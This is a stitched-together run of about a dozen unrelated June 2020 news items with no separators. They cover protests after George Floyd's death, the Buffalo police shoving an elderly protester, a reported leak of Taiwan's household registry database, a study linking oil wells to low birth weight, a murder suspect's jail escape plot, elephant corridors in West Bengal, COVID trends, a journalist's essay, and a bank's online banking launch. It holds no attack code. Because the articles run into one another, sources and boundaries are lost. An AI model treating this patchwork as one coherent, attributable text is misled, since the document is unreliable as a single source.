Wednesday marked the launch of a partnership between Raised Roots, a black-owned urban farming company, and Black Earth Farms, a farming collective by Pan-African and Pan-Indigenous farmers, to feed frontline protesters in the wake of George Floyd's death while in police custody on May 25.

The ongoing unrest prompted Jamil Burns, founder of Raised Roots, to take action.

"As part of this new wave of protests, we're seeing that the need to support each other is direr than ever," Burns said. "I think a lot of people have woken up to not only to the racial injustices but the idea that in order for a community to be truly resilient, we have to start relying on each other."
Clayborn Carson is the Martin Luther King, Jr., Centennial Professor of History in the School of Humanities and Sciences and the Ronnie Lott Founding Director of the Martin Luther King, Jr. Research and Education Institute. Credit: Jack Hubbard

As spontaneous and loosely organized demonstrations against the death of George Floyd continue to erupt across the world, Stanford historian and civil rights scholar Clayborn Carson has a message to activists: There needs to be some kind of leadership stating objectives of the current movement.

Unless goals are made clear by an articulate spokesperson, the movement may lose control of its messaging, Carson warns.

Here, Carson, a leading expert on the teachings of Dr. Martin Luther King Jr., reflects on what he has learned over a lifetime of protest and how today's demonstrations differ from the civil rights activism he participated in as a student at UCLA in 1965, including the infamous Watts Rebellion, a six-day riot in Los Angeles that resulted in 34 deaths, over 1,000 injuries, almost 4,000 arrests and $40 million in property damage.

Carson is the Martin Luther King, Jr., Centennial Professor of History in the School of Humanities and Sciences and the Ronnie Lott Founding Director of The Martin Luther King, Jr. Research and Education Institute. Carson's publications include "In Struggle: SNCC and the Black Awakening of the 1960s," (1981); "Malcolm X: The FBI File," (1991); "The Struggle for Freedom: A History of African Americans," (2005, 2010, co-author); and a memoir, "Martin's Dream: My Journey and the Legacy of Martin Luther King, Jr.," (2013).

What distinguishes these demonstrations from protests of the past?

Wherever there is a major stimulus for protest, something that outrages many peoplefor example, an unnecessary war (like all those during my adult life), or in this case, another video of a black man being killed by policethen there needs to be a way of expressing that outrage, either through nonviolent or violent methods. This happened after Rodney King's beating and Martin Luther King's assassination. It's probably the most positive way to spur those with authority to respond with a sense of urgency.

There has been a decade of protest about the issue of police brutality and the failure to punish police misbehavior. Established institutions, the police, the legal system as a whole, have failed. Sometimes justice delayed is justice denied, and that can fuel feelings of frustration.

For someone my age, who can remember a time when there were no cell phones, it was just me encountering a policeman who had the power to take my life. And whose word was going to be believed? In August 1965, I was in South Central Los Angeles during a rebellion that the press called the "Watts riot." Thirty-four people were killed as a result of "justifiable homicide." Compared to then, the police behaviors during these current protests have been relatively restrained. In that sense, there has been an obscenely modest bit of progress as rubber bullets have displaced lead bullets. But, if someone had told me in 1965 during Watts that my grandkids would still be subject to police executions, I would have thought I had failed in terms of trying to achieve change.

What makes a demonstration successful?

One thing that I think everyone would agree on is that the young people who are sparking these protests have no single charismatic, supremely articulate leader. One of the consequences is they don't control the messaging of it. I think that is one of the weaknesses of Black Lives Matter. There is no established leadership to articulate messages. What is the goal? Is it simply to express anger or is to achieve reform about police behavior? If it is to bring about reform, then what would that look like? It doesn't have to be one charismatic spokesperson. It could be many leaders, but there needs to be people saying, 'This is what we want' and clearly articulating that. That's just not happening now with any consistency.

As a scholar of Dr. King, what do you think Dr. King would think about what is unfolding across the country? What advice do you think he would have?

I think he would be very pleased to see that the protests were not simply black people protesting. People who are not black are recognizing the urgency of the moment and the righteousness of the anger. I think he would also caution that some specific objectives should be clearly articulated. At some point, the anger and protest have to be linked to some concrete reforms, but I recognize that the protest organizers are reacting to recent events that could not be anticipated. The very strength of the Black Lives Matter movement is that it is decentralized and a lot of the protest is more spontaneous. But that's also a weakness.

When you put this in the historical context of the demonstrations at the free speech movement and the civil rights demonstration of the mid-60s, the result in California was the election of Ronald Reagan as governor, which was certainly not the goal of the protest. But he presented himself as the law and order governor. It was similar with Richard Nixon. They come into office as the law and order presidents. Law and order is a potent political message, and I think protestors should notice that.

You said protests can be positive. What can be done to ensure they stay that way?

As a person who has probably been in hundreds of protests during my lifetime, I have watched demonstrations turn out badly and I have watched demonstrations turn out very peacefully. I think the main component of a peaceful and effective protest is some kind of leadership. Someone who can monitor, someone who can say 'No, that's not what we do here.'

But it has to be in conjunction with the police. It takes both sides to make this work. It takes some willingness on the part of demonstrators and the police to exercise restraint. When you have a large group of people who want to peacefully protest, police should facilitate that. You don't focus your effort on setting up barriers around peaceful protestors and having policemen, with their arms folded, standing in the way. This concentrates police attention on the people least likely to cause trouble and then you don't have any leftover police to catch looters and vandals elsewhere.
Buffalo, N.Y. -- An elderly man who was shoved by Buffalo police has been identified, as thousands call for the two cops involved to be fired from their jobs.

A viral video shows two Buffalo police officers appearing to push a 75-year-old man in front of City Hall during Thursday protests against police brutality after the death of George Floyd. The protester fell to the pavement, hitting his head; a painful crack is heard as blood starts leaking from his ear and the cops continue walking.

The graphic video from NPRs Buffalo radio station, WBFO, was viewed more than 60 million times in 15 hours. Outrage ensued as the Buffalo Police Department claimed in a statement that the man tripped & fell.

The man, identified by the Buffalo News as Martin Gugino, a long-time peace activist from Amherst, N.Y., was taken to the Erie County Medical Center with a concussion and lacerations. Erie County Executive Mark Poloncarz said Friday afternoon that Gugino was listed in serious but stable condition and is alert and oriented.

According to the Buffalo News, Gugino is politically active on social media, frequently criticizing President Donald Trump, supporting Latin American issues through the Western New York Peace Center, and supporting a group of anti-nuclear activists who were convicted of entering a nuclear submarine station in Georgia.

The Buffalo News reports that the 75-year-old man pushed to the ground is a longtime peace activist who has recently supported Kings Bay Plowshares, a group of anti-nuclear activists convicted of entering a nuclear submarine station in Georgia. https://t.co/vs2j6G4x3r  Dan Zak (@MrDanZak) June 5, 2020

Hes a gentle person who really believes that he must stand up for what he thinks is right, his friend Terrence Bisson told the newspaper.

Buffalo Mayor Byron Brown said the two police officers involved have been suspended without pay.

One has been identified as Aaron Torgalski, because his name tag is visible in the video. According to WBFO, Torgalski was one of 19 new recruits sworn into police academy training in August 2014.

A change.org petition calling for Torgalski to be fired has generated more than 290,000 signatures.

Celebrities like Seth Rogen, Kacey Musgraves, Jim Gaffigan, Ice-T, Ice Cube, Busy Philipps, Patricia Arquette, Tom Morello, Kumail Nanjiani and Maren Morris have shared their reactions on social media, many calling for Torgalski to be fired.

This is elder abuse, reckless endangerment, abuse of power, Arquette wrote on Twitter.

Im not sure why we would need to sign a petition to make this happen but I just did. Protect and serve?Buffalo Police Department : FIRE POLICE OFFICE AARON TORGALSKI - Sign the Petition! http://chng.it/X9bKV4M6, Gaffigan tweeted.

Again, if theyre doing this to old white men ON camera, imagine what the f--- is happening off camera," Rogen added.

This is highly disturbing, unacceptable, and needs explaining @BPDAlerts. An elderly man AND NOBODY HELPS HIM!? What the f---," Musgraves said. I just called Buffalo Police Dept. @BPDAlerts to demand the firing of Officer Aaron Torgalski (the one who seriously hurt the elderly man & wouldnt help him) They told me to call Buffalo Police HQ about it instead. In case anyone feels as sickened as I do: (716) 851-4444.

Gov. Andrew Cuomo said Friday that Brown was right to suspend two officers involved in the incident, and said the city should pursue firing them.

I was sick to my stomach, Cuomo said of the video during a press conference updating New York state on Covid-19. It was the same feeling Ive had for 90 of the past nights when I would get the death total from the coronavirus. I would physically get sick to my stomach.

Warning: Video clips below contain potentially disturbing content.

Re: that awful video. Buffalo PD officially said that the man tripped & fell. If we didnt have video there would have been no accountability. Why? Because one bad apple pushed him down but 20 good apples would have let him get away with it. Its systemic.  Kumail Nanjiani (@kumailn) June 5, 2020

This is the 75 year old man who was shoved to the ground by police in Buffalo- hes an activist and @chelseadevantez suggested following him so that when he gets out of the hospital, he knows he has our support https://t.co/nwv7FSPFOA  Busy Philipps (@BusyPhilipps) June 5, 2020

Just watch.. No comment needed.. hes bleeding.. smh https://t.co/YTlgINv0AT  ICE T (@FINALLEVEL) June 5, 2020

ELDERLY PROTESTER ASSAULT  CALL FOR ACCOUNTABILITY @NYGovCuomo (518)474-8390 @NewYorkStateAG @MayorByronBrown @BPDAlerts Erie County District Attorney: John J. Flynn: (716) 858-2400 Buffalo Police Commissioner: Byron Lockwood (716)851-4571 pic.twitter.com/ekt35wo5eH  K A C E Y (@KaceyMusgraves) June 5, 2020

Why is it so difficult for us to hold our cops accountable? Is it because it rocks the core of our beliefs that were really safe? Im not going to repost the Buffalo video because its vile but it was SO easy for them to lie in the report. Cell phones have become detectives.  MAREN MORRIS (@MarenMorris) June 5, 2020
We could all use a doughnut, Americas ultimate comfort food, right about now.

Just imagine a cake doughnut in your hand. Its fried to perfection and covered with chocolate. Topped with sprinkles. It melts in your mouth and takes you on a heavenly journey.

True Simpsons fans guessed it... The next DOTW is the Homer Simpson donut!  This donut is a yeast ring dipped in pink... Posted by Sweetwater's Donut Mill on Sunday, May 31, 2020

It was great to see Marge Wilson! Posted by John Gonzalez on Wednesday, June 4, 2014

Distributing Mlive Michigan's Best Doughnut plaques! Too bad Fritz Klug can't join me. Posted by John Gonzalez on Wednesday, June 4, 2014

Off to a great day in Owosso! First stop: Lance's Bakery, home of the famous maple triangles! Oh, and some massive bear... Posted by John Gonzalez on Tuesday, February 6, 2018

There is still time until 12pm today to pre-order you $1 donuts for tomorrow morning pickup. If picking them out in person is more your style, our cases will be filled with delicious treats. See you then! Posted by Bea's Bakery Owosso on Thursday, June 4, 2020
Taiwan's Entire Population Database Stolen

A secret government database of more than 20 million Taiwanese citizens was leaked on the Dark Web. According to researchers at Cyble a known and reputable actor called Toogod was found to have released the data titled Taiwan Whole Country Home Registry DB onto the Dark Web.

Cyble is a US-based cyber threat intelligence company that strives to provide organisations with real-time views of their supply chain cyber threats and risks.

It is very unusual for an entire nations database to be leaked. Recently researchers came across a leaked database on the Dark Web where a known and reputable actor Toogod dropped the database of Taiwan Whole Country Home Registry DB comprising of 20 Million+ records.

The data is from the Ministry of the Interiors Department of Household Registration.The 3.5 GB-database lists the names, addresses, genders, dates of birth, and other private information of more than 20 million citizens. According to Cyble, the "actor" claimed the leak is from 2019, though Cyble researchers have stated that it is difficult to confirm how recent it actually is.

Right now, the Taiwanese Government has not made any comment on the situation or acknowledged it in any way. Most likely, the US-based cyber threat intelligence company will talk directly with Taiwanes officials in secrecy

Taiwan News: Cyble Inc: Security Affairs: TechTheLead:

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Personal Data Of 115m Pakistanis For Sale:
Living near active oil and gas wells may put pregnant people at higher risk of having low birth weight babies, especially in rural areas, finds a new study of birth outcomes in California.

The study, funded by the California Air Resources Board, is one of the largest of its kind and the first in the state. It analyzed the records of nearly 3 million births to people living within 6.2 miles (10 kilometers) of at least one oil or gas well between 2006 and 2015. Unlike previous studies, it examined births in both rural and urban areas, and people living near both active and inactive oil and gas sites.

The study found that, in rural areas, pregnant people who lived within 0.62 miles (1 kilometer) of the highest producing wells were 40% more likely to have low birth weight babies and 20% more likely to have babies who were small for their gestational age compared to people living farther away from wells or near inactive wells only. Among term births, babies were 1.3 ounces (36 grams) smaller, on average, than those of their counterparts.

People living near active wells in urban areas also had slightly increased odds of having small for gestational age babies than their counterparts. The study did not find a significant relationship between proximity to oil and gas wells and premature births.

"Being born of low birth weight or small for gestational age can affect the development of newborns and increase their risk of health problems in early childhood and even into adulthood," said Rachel Morello-Frosch, a professor of public health and of environmental science, policy and management at the University of California, Berkeley, and senior author of the paper. "When you see a shift of over 30 grams of birth weight among term infants, from an individual clinical perspective, it may not seem like a lot. But when you see that kind of large population shift in birth weight -- that can have significant population level implications for infant and children's health."

The findings, published June 3 in the journal Environmental Health Perspectives, add to a growing body of evidence linking proximity to oil and gas wells to a variety of adverse birth outcomes, including premature birth, heart defects and low birth weight.

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Oil production in California has generally declined over the past three decades, and Gov. Gavin Newsom last year issued stricter regulations on new fracking permits in the state. However, the state issued 24 new fracking permits in early April, and another 282 are awaiting review.

"This study is the first to characterize the implications for perinatal health of active oil and gas production in the state, and I think the results can inform decision-making in regulatory enforcement and permitting activities." Morello-Frosch said. "Results from health studies such as ours support recent efforts to increase buffers between active well activities and where people live, go to school and play. This scientific evidence of adverse health effects facing vulnerable populations, including pregnant women, should be taken into account as Californians debate the extent to which we to want to expand oil and gas drilling in our state."

A long history of oil production

Previous research linking oil and gas production to adverse birth outcomes has examined people living near fracking sites in Colorado, Pennsylvania, Oklahoma and Texas. Oil production in California differs from some of these other regions because the infrastructure is generally much older, and the state has a high number of inactive wells.

In addition, because of the geology of the region, many of the sites use enhancement techniques, including fracking and steam and water injection, to access oil reserves, said study lead author Kathy Tran, a graduate student in environmental health sciences at UC Berkeley,

"Even though the California oil and gas industry dates back to the early 1900s, there hasn't been any analysis looking at potential health effects related to oil and gas exposure," Tran said.

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Both active and inactive oil and gas sites create a myriad of environmental hazards that have the potential to impact perinatal health, including air and water pollutants, noise and excessive lighting. However, with limited access to the production sites themselves, it can be hard for researchers to pinpoint precisely what factors might be contributing to adverse birth outcomes.

"A lot of the equipment that's being operated on site is a contributor to air pollution, but how much air pollution is an unknown because the inventory industry reports are estimated based on emissions factors, as opposed to measured emissions levels." Tran said. "We assume that with greater production volume, the equipment is being used more intensively. And for that reason, that may be a significant contributor to why we see some impacts related to adverse birth outcomes."

The study corrected for a variety of demographic factors that might also impact birth outcomes, including race, ethnicity, socioeconomic status, maternal education and other neighborhood-level factors, including other sources of air pollution.

While it's unclear why the differences in birth weight were more pronounced in rural areas than in urban areas, the researchers hypothesize that other factors -- such as differences in indoor air quality, maternal occupation or housing conditions -- may have impacted the results.

In the future, Tran hopes that measurements of people's actual exposure to potentially toxic pollutants from oil and gas sites will help pinpoint the culprits behind these findings.

"Because researchers don't have direct access to the actual oil and gas sites, it's hard to get a good estimate of what people actually experience," Tran said. "Obviously, things like wind direction and water movement and other environmental conditions factor into personal exposure, as well. And for that reason, the more in-depth exposure assessment we can get, the more we can really understand why we are seeing the effects that we see."

Co-authors of the study include Joan A. Casey of Columbia University and Lara J. Cushing of San Francisco State University.

The California Air Resources Board (CARB) provided primary funding for this study (grant #18RD018) as part of its overall approach to determine the impacts of oil and gas operations on public health in California. Additional funding support was provided by the 11th Hour Project, the National Institute of Environmental Health Sciences grant K99/R00 ES027023, the UC Berkeley SAGE IGERT Fellowship and National Science Foundation grant #1144885.
Gannon Stauch's stepmom has been caught allegedly plotting to escape from prison, where she is currently being held charged with the brutal murder of the 11-year-old boy.

Letecia Stauch, 36, has been charged with one count of solicitation to commit escape after she planned to break out of El Paso County Jail in Colorado Springs, according to court records.

The suspected killer had planned to use a broom handle to bust the cell window and had measured herself to check she could fit through it to escape, records show.

Stauch, who faces first-degree murder charges over Gannon's slaying, had allegedly enlisted the help of a fellow inmate and offered her money in exchange for helping her.

Stauch was arrested and charged back in early March with the first-degree murder of her stepson Gannon, after he disappeared in January, before his body turned up in Florida late-March.

Gannon Stauch's stepmom Letecia (left) has been caught allegedly plotting to escape from prison, where she is currently being held charged with the brutal murder of the 11-year-old boy (right)

According to court records, Stauch had been plotting her prison break for early May.

She allegedly told the other inmate in two notes - which were partly written in code - that a family member had deposited $75,000 in a bank account for her defense that she would share with her accomplice in exchange for her help.

Staunch allegedly wrote that she would 'much rather use [the money] to survive, if you know what I mean' and told the inmate: 'You have my word to make sure we are MIA. I got us covered.'

The suspected murderer also wrote that she had measured herself so she was confident she would fit through the window once it was broken.

Stauch was already classed as a flight risk and was being kept in segregation from other inmates, spending just one hour a day out of her cell in free time that she must spend alone.

Because of this, she reportedly needed the help of the other inmate to get her the broom handle.

The suspected killer (pictured) had allegedly planned to use a broom handle to bust the cell window and had measured herself to check she could fit through it to escape

Her escape plan was foiled when her accomplice divulged the plot to jail deputies and handed over notes Stauch allegedly sent her asking for her help.

The inmate, who described herself as 'Italian and kind of the bad boy,' told investigators she wanted no part of Stauch's plan, the records state.

She said 'she knew about Ms. Stauch's charges and she doesn't want to be involved or have anything to do with her,' the affidavit says.

A search of her cell then uncovered a letter Stauch had penned for her daughter telling her 'if something comes up on the news like she is no longer in the jail or is missing to not be afraid,' the court records state.

She will appear in court on the new charges Friday.

Stauch has been charged with first-degree murder, child abuse resulting in death, tampering with a deceased human body and tampering with evidence over the killing of 11-year-old Gannon.

Gannon went missing from his home in Colorado Springs on January 27, and was reported missing by Stauch.

Stauch (pictured) enlisted the help of a fellow inmate and offered her money in exchange for helping her, court records state. The stepmom is accused of hitting Gannon with a blunt object, stabbing and shooting him before dumping his body in a suitcase

Her escape plan from El Paso County Jail in Colorado Springs (above) was foiled when her accomplice divulged the plot to jail deputies

On March 2, Stauch was arrested in South Carolina and extradited to Colorado where she was charged with the little boy's murder.

Gannon's body was then discovered on March 20 1,400 miles away under a bridge in Pace, Florida by construction workers under the overpass.

A preliminary examination of his body revealed the little boy was hit by a blunt object, stabbed and then shot by his killer, before his body was stuffed in a suitcase and thrown over the side of a Florida freeway.

In a police affidavit leaked in April, authorities claimed that Stauch killed her step-son in his bedroom on January 27 - the day he disappeared - and then disposed of his body the following day.

The 32 page document states that blood was found in Gannon's bedroom as well as in Stauch's car.

'Physical evidence recovered from the residence and inside Gannon's bedroom supports that a violent event occurred in his bedroom, which caused bloodshed, including blood spatter on the walls, and enough blood loss to stain his mattress, soak through the carpet, the carpet pad, and stain the concrete below his bed,' the affidavit states.

Blood was also found in and on Stauch's Volkswagen Tiguan SUV, which authorities believed was used to dispose of the boy's body the following day off a highway in Douglas County, Colorado.

It also states that the stepmom 'lied to investigators on multiple occasions' during their search for the missing boy and displayed 'abnormal behavior' when she rented a car that was not her usual mode of transportation.

Gannon (pictured) disappeared in Colorado Springs in January. His body was found on March 20 1,400 miles away in Florida
Kolkata: The West Bengal government has Chalked out a master plan involving an app and a mobile medical unit to ensure that there is less man-elephant conflict in the state, Forest Minister Rajib Bandyopadhyay said on Friday, the World Environment Day.

The master plan will make certain that there is little interference in the movement of elephants along the corridors in North and South Bengal, Bandyopadhyay told PTI.

Giving details about the master plan, he said, there will be a cell phone app that will alert forest personnel and local people about possible movement of a herd or a strayed elephant while a mobile medical unit will be kept ready to treat injured elephants. Besides, awareness campaigns will be run among villagers to prevent attacks on elephants, the minister said.

"We had initially planned to roll out parts of the master plan by July but the lockdown delayed everything. Now it can be gradually put in place later on once the lockdown is lifted," he said.

To minimise the possibility of people coming in the path of elephants, which at times occur in early morning, Bandyopadhyay said villagers living near elephant habitats would be asked not to go out of their homes during that time.

Apart from those in the Dooars region of North Bengal, elephant corridors in the state are present in parts of West Midnapore, Bankura, Purulia and West Burdwan districts.

Bandyopadhyay expressed concern over the death of elephants due to collision with moving trains along the Banarhat-Nagrakata route in Dooars area in recent years.

"The train route has crisscrossed the elephant corridor in the area. Elephants have been using it for ages. We had repeatedly asked the railways to reduce train speed to the minimum while passing by that stretch. We had also filed an FIR against the railways after the death of a jumbo in recent times," he said.

On September 27 last year, the Siliguri-Dhubri Intercity Express hit an elephant that was trying to cross the tracks between Banarhat and Nagrakata in the jungle. The animal was severely injured and later died.

Ever since the line was converted to broad gauge, the Banarhat-Nagrakata route has witnessed several elephant deaths, reports said. The over 70 km long route runs across more than one elephant corridor.

On the death of a pregnant elephant in Kerala's Silent Valley Forest after she was fed a pineapple filled with powerful crackers that exploded in her mouth, Bandyopadhyay said, "It is an inhuman act. We all should work towards protecting the wildlife and see such incidents don't recur."
Colin Kaepernick risked his career to stand up (by kneeling down) for racial justice. Hed spent his whole life working to get where he was but decided some things were more important than football. If only congressional Republicans had one iota of Mr. Kaepernicks courage to stand up for something greater than themselves and against a president who is tearing this nation apart. George F. Will was right when he said in his June 2 op-ed, Four more years of this?, that we should all hope and pray to never crave anything as much as these people crave membership in the worlds most risible deliberative body.
The number of coronavirus cases is increasing at its fastest pace since the pandemic began but the death rate is in decline - possibly providing evidence that the virus is getting weaker.

Today the world logged more than 16 cases of the virus per million people on the planet, which is the second-highest number since the disease emerged.

Over the last seven days, the average number of cases diagnosed was 114,000 compared to an average of just 86,000 in the first week of May - driven by rapidly worsening outbreaks in South America, India and Russia.

But deaths have not kept pace. Today there were 0.67 deaths per million people on the planet, well below the all-time high of 1.35 per million on April 16.

Since May 29 there have been an average of 4,300 deaths per day, compared to 5,100 per day at the start of last month.

The rate at which coronavirus appears to be spreading has soared in recent weeks - with 16 cases per million confirmed worldwide today, compare to just 10 this time last month

Meanwhile global deaths have been in steady decline - peaking at 1.15 deaths per million people on April 16 and falling to 0.67 deaths per million today

One possible though as-yet unproven explanation for this trend is that the virus could be getting weaker.

That theory was first put forward by Dr Alberto Zangrillo, head of Milan's San Raffaele Hospital and former physician to Silvio Berlusconi, earlier this week.

Dr Zangrillo suggested the amount of the virus detected in patients towards the end of May was 'infinitesimal' compared to amounts detected earlier in the spread.

Several days later, he expanded - saying it appears the way the virus interacts with its host had changed.

His comments were echoed by Matteo Bassetti, the head of the infectious diseases clinic at the San Martino hospital in the city of Genoa

'The strength the virus had two months ago is not the same strength it has today,' he said.

Meanwhile Dr Donald Yealy, a researcher at the University of Pittsburgh Medical Center, said today that he has also believes 'the virus is changing'.

Dr Donald Yealy, of the University of Pittsburgh Medical Center (left), and Dr Alberto Zangrillo (right), of Milan's San Raffaele Hospital, have suggested the virus could be getting weaker

Maria van Kerkhove, epidemiologist for the World Health Organisation, has said there is no evidence to suggest the virus is less potent now than at the start of the outbreak

'Some patterns suggest the potency is diminished,' he said, pointing to fewer positive tests coming back to his hospital and fewer patients needing ventilators.

But medics at the World Health Organisation have pushed back firmly against the idea that coronavirus is losing its potency.

Maria Van Kerkhove, epidemiologist at WHO, said: 'In terms of transmissibility, that has not changed, in terms of severity, that has not changed.'

Martin Hibberd, a professor of emerging infectious disease at the London School of Hygiene & Tropical Medicine, added that there is 'currently no evidence' to support the theory - despite ongoing studies.

One other explanation for the diverging figures is that coronavirus testing has drastically improved since the start of the pandemic.

Another possible explanation is that testing capacity has drastically improved since the outbreak began, meaning more cases are being confirmed and the rate appears to be accelerating while actually remaining steady (pictured, a testing site in India)

Even in countries which were not suspected of manipulating their data early on in the outbreak - such as Iran and China - the speed at which the disease spread far outstripped the capacity of countries to test for it.

But since then world leaders have invested huge sums of money in increasing their testing capacity and speeding up the process.

In the UK alone, capacity has increased from 2,000 tests per day at the start of March to 200,000 by the end of May.

As testing capacity increases the number of global cases will appear to rise as more people with symptoms are able to confirm the diagnosis.

Those who died from the disease were far more likely to have been given a test even when capacity was low because of the severity of their conditions, meaning this number would be unlikely to change even as more tests became available.

Other explanations include greater awareness of the disease, meaning people are more likely to seek treatment early for the condition rather than waiting and developing a potentially fatal infection.

Treatments have also been improving - with Ebola drug Remdesivir now hailed by health authorities across the world for its benefits.

In the last seven days an average of 114,000 cases of the virus have been diagnosed each day - driven by rampant outbreaks in the likes of Brazil (pictured) - compared to an average of 86,000 in the first week of May

The disease is also currently spreading fastest in countries which have been accused of manipulating their data - such as Russia, Mexico and Brazil - perhaps contributing to the skewed figures.

Globally, coronavirus has now infected more than 6.6million people with some 391,000 dying from the condition.

Regions which were former hotspots of the disease - including China and Europe - have now managed to bring infection rates down after imposing lockdowns.

But the virus is still spreading rapidly in other places - including the US, South America, Russia and India.

Iran has become the first country to report a second wave of coronavirus - hitting a record number of cases Wednesday having initially seen them fall.

The news will be a concern to European nations easing lockdown measures since the rise came after Iran relaxed its own restrictions - several weeks ahead of Europe.
Insufficient COVID-19 testing for U.S. public contributes to high death toll, says expert

People's Daily Online

(Xinhua) 08:38, June 04, 2020

WASHINGTON, June 3 (Xinhua) -- A lack of sufficient testing for the presence of COVID-19 in the general public might be one of the major reasons for the large number of deaths in the United States, a leading medical expert has said.

The United States has suffered the most from the pandemic around the world, with over 1.84 million confirmed COVID-19 cases and a death toll of more than 107,000 as of Wednesday.

"Without greater monitoring and testing, it is difficult to properly control the spread of the novel coronavirus infection. Simply testing individuals with suspected infection and first responder health care personnel is inadequate to provide the protection and means to reduce the spread of COVID-19," Kent Pinkerton, professor of pediatrics from the School of Medicine at the University of California, Davis, told Xinhua in a recent interview.

"This is particularly troublesome with some active carriers and shedders of COVID-19 who are completely asymptomatic," he added.

According to the U.S. Centers for Disease Control and Prevention, at least a third of COVID-19 patients are asymptomatic. About 40 percent of transmission occurred prior to symptom onset.

Pinkerton said although measures taken for stay-in-shelter mandates around the country have helped to flatten the curve of infection, many areas continue to see no reduction in the incidence of infection.

To lighten these mandates without the proper use of personal protective equipment could be associated with a future resurgence of COVID-19 in the United States, he noted.

According to Pinkerton, the major challenges ahead in controlling the spread of the pandemic are patience on the part of the U.S. public and the development of an efficacious vaccine for protection against COVID-19.

Experts are worried that the nationwide protests over the death of George Floyd, an African American man who died last week while in police custody, may result in new outbreaks.

"Based on the way the disease spreads, there is every reason to expect that we will see new clusters and potentially new outbreaks moving forward," said U.S. Surgeon General Jerome Adams.

Coronavirus testing sites in many locations have been closed due to unrest.

Since most people who are infected with the coronavirus develop symptoms within 14 days of being infected and can spread the disease days before they feel sick, the window to get tested and avoid infecting others is small.

"The impact of the ongoing protests on COVID-19 case counts may be revealed in about two weeks," Zhang Zuofeng, professor of epidemiology and associate dean for research with the school of public health at University of California, Los Angeles, told Xinhua.

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Samantha Lee/Insider

The police-related death of George Floyd has media outlets scrambling for black journalists to report on police violence, protests, and racial injustice.

But why does it need to be a black person telling the story?

White journalists need to forfeit their privilege to sit on the sidelines and share our emotional burden.

Editors should offer black writers more work that doesn't center around dissecting why we're treated the way we are and what white people can do to help.

This is an opinion column. The thoughts expressed are those of the author.

Visit Insider's homepage for more stories.

The onset of the coronavirus left a lot of freelance writers financially vulnerable, myself included.



Some of the editors I used to pitch to have been laid off. Other publications have switched to only using in-house reporters.

In the early weeks of the pandemic, I pitched all over and got nothing. But that's the nature of the beast.

Then, as news spread about virus-related health disparities within the black community, editors started frantically looking for black reporters.

Their messages usually included a request for "unique perspectives, personal essays, or coverage from the ground."

Now, with protests breaking out globally after the death of George Floyd, the same call is going out.

New Yorkers protest over the death of George Floyd on June 2, 2020.

Tayfun Coskun/Anadolu Agency via Getty Images

An editor from a publication I had been fruitlessly pitching to for months reached out to ask me to write an article on what families can do to help further racial justice.

I was so happy to have an assignment, I quickly accepted.

But after I started the piece, I began to think about why they tapped me. Some would say it's obvious: I'm black and, therefore, I would know best.

Or maybe they felt I was qualified based on my previous work.

I struggled through the piece and felt conflicted the entire time. On the one hand, I needed the work because, truthfully, I needed the money. On the other hand, I don't know if it was worth exhausting myself mentally and emotionally for a nominal fee.

Story continues

Was I selling out? Was I being exploited?

Racism is not just a black story

In general, black people are tired of explaining. We've been doing it for years, to no avail.

A lot of white Americans still don't fathom that saying "Black lives matter" is not saying other lives don't. They don't (or won't) appreciate that being pro-black does not mean we're anti everybody else.

And while they love quoting Martin Luther King Jr., they don't fully understand his words.

Whenever another black person is killed by the police and their name starts trending on Twitter, the call goes out for black journalists to debrief the world on both the tragedy and the civil unrest that usually follows.



But, if we're talking about a nationwide response to the systemic racism that perpetuates police brutality, why do you need a black person to tell that story?

Protesters hold up signs during a Black Lives Matter protest in New York City, on June 3, 2020.

ANGELA WEISS/AFP via Getty Images

I've watched white allies use their bodies as a barrier between the police and black protesters. In the same way, non-black writers should show solidarity by reporting on racial injustice.

They shouldn't be allowed to shy away from covering uncomfortable truths.

And it's white journalists' duty to write articles and create content, not just on the black experience but on the white experience. They need to speak to their own community and call them to action in the same manner that black journalists do.

There are brilliant, talented, and purposeful black writers who use their voices daily to spread awareness. But racism is not just a black story. And white writers need to forfeit the privilege of sitting on the sidelines.

Black writers can cover more than just the black experience

Some editors think that by giving black writers the task of documenting what's happening, they're amplifying our voices. And to some extent that's true.

But when you only call on us in times of social unrest, our usefulness to the industry becomes tied to the rise and fall of breaking news. And constantly contemplating the abuse and death of our people is emotionally taxing.

It adds to the very injustice we fight against daily.

"I've been so busy covering the unjustifiable deaths, murders, of black and brown people over the years that I had grown accustomed to ignoring the toll it had taken on me as a black journalist," LZ Granderson wrote this weekend in the Los Angeles Times.

According to Pew Research Center analysis of data collected between 2012-2016, 77% of newsroom employees  including reporters, editors, photographers, and videographers in newspapers, broadcasting, and online  are white.



That's less diverse than the US workplace in general.

In 2017, black people made up only 7% of the newsroom. We're used like grandma's china, pulled out for special occasions, and then tucked away in a cabinet until the next police shooting.

Black writers can cover more than just the black experience. Editors should offer us work that doesn't center around dissecting why we're treated the way we are and what white people can do to help.

It can help prevent the burnout so many black writers experience, hustling for real estate within white-owned publications.

"The work must continue, but at a humane pace backed by institutional and industry support," Patrice Peck wrote in a New York Times op-ed on Friday.



"Investment in black journalists is critical, not only through equitable compensation for our contributions, but also in addressing burnout, layoffs, and mental wellness, particularly among those of us who keep on keeping on."

If you truly believe that black lives matter then you must also believe that black opportunities matter, too. Use your platform to invite black voices to share light, even frivolous content the same way you solicit us to report misery and turmoil.

As individuals, black journalists run the gamut. Our writing opportunities should include what we're passionate about, not just what we're burdened with.

Social justice is the goal for everyone, and it shouldn't just be the responsibility of the marginalized.

Read the original article on Insider
(L-R): Carlita Tyrrell, Savings Manager, and Kai Martin, IT Manager explain the new online banking feature now available at the St. Vincent Cooperative Bank.

The St Vincent Cooperative Bank, familiarly known as the "Penny Bank, launched its online banking service on June 2.





"Here at the St Vincent Cooperative Bank, we are always looking for creative ways to meet our customers needs, and online banking was just one of these ways, Carlita Tyrrell, Savings Manager said.





The launch of the new service was fast tracked, Tyrrell explained, this due to the COVID-19 pandemic.





"We have one branch, and our hours may not have met our customers needs, Tyrrell said.





"Online banking will now offer a more convenient means for our customers, she continued.





Customers can now conduct transactions from anywhere that the internet can be accessed and from any device  smart phone, tablet or computer.





According to Tyrrell, online banking services allow for the transfer of funds between existing accounts at the bank, checks on balances and payment of utility bills.





"We are ready to go, Tyrrell said.





Kai Martin, IT Manager explained that a selected number of persons were asked to provide feedback on the service. This allowed for the resolution of any issues with the new service.





He gave the assurance that although the entire feature was up and running over an eight-day period, security is not an issue.





"We have ensured and have implemented the highest level of security on our sites, Martin explained.

The site is also user friendly and straightforward.





"Persons should not have a problem navigating through, he added.





The service is available to all existing Cooperative Bank customers, and interested persons may register online, or at the bank.





